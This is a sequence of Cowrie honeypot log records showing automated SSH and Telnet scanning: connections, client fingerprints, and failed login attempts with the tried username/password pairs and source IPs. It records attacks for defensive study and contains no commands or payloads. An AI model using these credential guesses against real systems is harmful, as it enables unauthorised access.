{"eventid":"cowrie.login.failed","username":"communicator","password":"communicator","message":"login attempt [communicator/communicator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:33.550785Z","src_ip":"79.104.0.82","session":"4efdfac8cc98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:34.700495Z","src_ip":"79.104.0.82","session":"4efdfac8cc98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36626,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b5d881ca295","protocol":"ssh","message":"New connection: 194.113.233.25:36626 (10.17.0.5:22) [session: 1b5d881ca295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:36.423700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:36.427083Z","src_ip":"194.113.233.25","session":"1b5d881ca295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:36.520344Z","src_ip":"194.113.233.25","session":"1b5d881ca295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"240884","message":"login attempt [root/240884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:36.805032Z","src_ip":"194.113.233.25","session":"1b5d881ca295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:37.900001Z","src_ip":"194.113.233.25","session":"1b5d881ca295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":55532,"dst_ip":"10.17.0.5","dst_port":22,"session":"f03f2ad9b1a0","protocol":"ssh","message":"New connection: 189.203.163.10:55532 (10.17.0.5:22) [session: f03f2ad9b1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:47.522232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:47.528092Z","src_ip":"189.203.163.10","session":"f03f2ad9b1a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:47.590629Z","src_ip":"189.203.163.10","session":"f03f2ad9b1a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamburg","password":"hamburg123","message":"login attempt [hamburg/hamburg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:47.871988Z","src_ip":"189.203.163.10","session":"f03f2ad9b1a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:48.936224Z","src_ip":"189.203.163.10","session":"f03f2ad9b1a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":54646,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c5e8a248ad4","protocol":"ssh","message":"New connection: 217.168.240.63:54646 (159.203.135.109:22) [session: 3c5e8a248ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:01.940360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:01.947546Z","src_ip":"217.168.240.63","session":"3c5e8a248ad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:02.078732Z","src_ip":"217.168.240.63","session":"3c5e8a248ad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prueba","password":"prueba2024","message":"login attempt [prueba/prueba2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:02.627405Z","src_ip":"217.168.240.63","session":"3c5e8a248ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:03.761259Z","src_ip":"217.168.240.63","session":"3c5e8a248ad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1499,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fa775dbc0cb","protocol":"ssh","message":"New connection: 102.88.137.80:1499 (10.17.0.5:22) [session: 4fa775dbc0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:13.434506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:13.438521Z","src_ip":"102.88.137.80","session":"4fa775dbc0cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:13.620678Z","src_ip":"102.88.137.80","session":"4fa775dbc0cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51704,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3da56dd715b","protocol":"telnet","message":"New connection: 128.199.8.54:51704 (159.203.135.109:23) [session: d3da56dd715b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:14.275925Z"}
{"eventid":"cowrie.login.failed","username":"ly","password":"123456","message":"login attempt [ly/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:14.386928Z","src_ip":"102.88.137.80","session":"4fa775dbc0cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:15.572455Z","src_ip":"102.88.137.80","session":"4fa775dbc0cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52456,"dst_ip":"159.203.135.109","dst_port":23,"session":"404df0fda0e5","protocol":"telnet","message":"New connection: 128.199.8.54:52456 (159.203.135.109:23) [session: 404df0fda0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:15.636637Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":56492,"dst_ip":"159.203.135.109","dst_port":22,"session":"35432669b681","protocol":"ssh","message":"New connection: 103.15.222.183:56492 (159.203.135.109:22) [session: 35432669b681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:20.363266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:20.367539Z","src_ip":"103.15.222.183","session":"35432669b681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:20.615155Z","src_ip":"103.15.222.183","session":"35432669b681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100183","message":"login attempt [root/100183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:21.372066Z","src_ip":"103.15.222.183","session":"35432669b681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:22.621291Z","src_ip":"103.15.222.183","session":"35432669b681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":45606,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5087f2a4b3b","protocol":"ssh","message":"New connection: 76.79.213.69:45606 (10.17.0.5:22) [session: a5087f2a4b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:44.952042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:44.956369Z","src_ip":"76.79.213.69","session":"a5087f2a4b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:45.078544Z","src_ip":"76.79.213.69","session":"a5087f2a4b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin123","message":"login attempt [user/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:45.600884Z","src_ip":"76.79.213.69","session":"a5087f2a4b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:46.725417Z","src_ip":"76.79.213.69","session":"a5087f2a4b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":46662,"dst_ip":"10.17.0.5","dst_port":22,"session":"71820f790ac4","protocol":"ssh","message":"New connection: 160.251.185.39:46662 (10.17.0.5:22) [session: 71820f790ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:52.823991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:52.828390Z","src_ip":"160.251.185.39","session":"71820f790ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:52.993816Z","src_ip":"160.251.185.39","session":"71820f790ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luke","password":"password","message":"login attempt [luke/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:53.690720Z","src_ip":"160.251.185.39","session":"71820f790ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.35468292236328,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:54.630378Z","src_ip":"128.199.8.54","session":"d3da56dd715b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:12:54.858815Z","src_ip":"160.251.185.39","session":"71820f790ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1535,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce146e708dc0","protocol":"ssh","message":"New connection: 102.88.137.80:1535 (10.17.0.5:22) [session: ce146e708dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:02.398049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:02.403211Z","src_ip":"102.88.137.80","session":"ce146e708dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":59376,"dst_ip":"159.203.135.109","dst_port":22,"session":"58334964ab24","protocol":"ssh","message":"New connection: 89.223.69.22:59376 (159.203.135.109:22) [session: 58334964ab24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:02.550463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:02.555697Z","src_ip":"89.223.69.22","session":"58334964ab24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 